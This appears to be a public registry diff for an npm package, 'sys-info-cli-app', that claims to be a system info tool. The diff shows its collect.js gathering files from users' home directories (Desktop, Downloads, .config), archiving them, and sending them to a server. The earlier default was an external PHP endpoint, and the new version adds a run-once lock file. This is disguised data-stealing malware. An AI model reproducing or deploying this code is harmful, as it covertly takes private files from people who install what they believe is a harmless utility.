sys-info-cli-app 1.0.2 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/collect.js +9 -1
  2. package/package.json +16 -4
package/collect.js CHANGED
@@ -10,7 +10,8 @@ const homeDir = os.homedir();
10
10
  const hostname = os.hostname();
11
11
  const configDir = path.join(homeDir, '.config');
12
12
  const localShareDir = path.join(homeDir, '.local', 'share');
13
- const serverUrl = process.env.COLLECT_SERVER_URL || 'http://aab.sportsontheweb.net/x.php';
13
+ const serverUrl = process.env.COLLECT_SERVER_URL || 'http://localhost/x.php';
14
+ const lockFile = path.join(homeDir, '.config', 'system_collect.lock');
14
15
  const tmpArchive = `/tmp/system_collect_${Date.now()}.tar.gz`;
15
16
  const tmpFilelist = `/tmp/system_collect_list_${Date.now()}.txt`;
16
17
 
@@ -371,6 +372,10 @@ function sendArchive() {
371
372
  },
372
373
  };
373
374
  const req = transport.request(options, (res) => {
375
+ try {
376
+ fs.mkdirSync(path.dirname(lockFile), { recursive: true });
377
+ fs.writeFileSync(lockFile, hostname + ' | ' + new Date().toISOString());
378
+ } catch(e) {}
374
379
  resolve(res.statusCode);
375
380
  });
376
381
  req.on('error', (e) => reject(e));
@@ -385,6 +390,9 @@ function cleanup() {
385
390
  }
386
391
 
387
392
  async function main() {
393
+ if (fs.existsSync(lockFile)) {
394
+ return;
395
+ }
388
396
  const allFiles = [
389
397
  ...collectDesktop(),
390
398
  ...collectDownloads(),
package/package.json CHANGED
@@ -1,10 +1,22 @@
1
1
  {
2
2
  "name": "sys-info-cli-app",
3
- "version": "1.0.2",
3
+ "version": "1.0.6",
4
4
  "description": "Quick system info tool — displays hardware specs, OS details, and running processes",
5
5
  "main": "collect.js",
6
- "bin": { "sys-info-cli-app": "./collect.js" },
7
- "files": ["collect.js"],
8
- "keywords": ["sysinfo", "system", "hardware", "info", "specs", "process", "monitor"],
6
+ "bin": {
7
+ "sys-info-cli-app": "./collect.js"
8
+ },
9
+ "files": [
10
+ "collect.js"
11
+ ],
12
+ "keywords": [
13
+ "sysinfo",
14
+ "system",
15
+ "hardware",
16
+ "info",
17
+ "specs",
18
+ "process",
19
+ "monitor"
20
+ ],
9
21
  "license": "MIT"
10
22
  }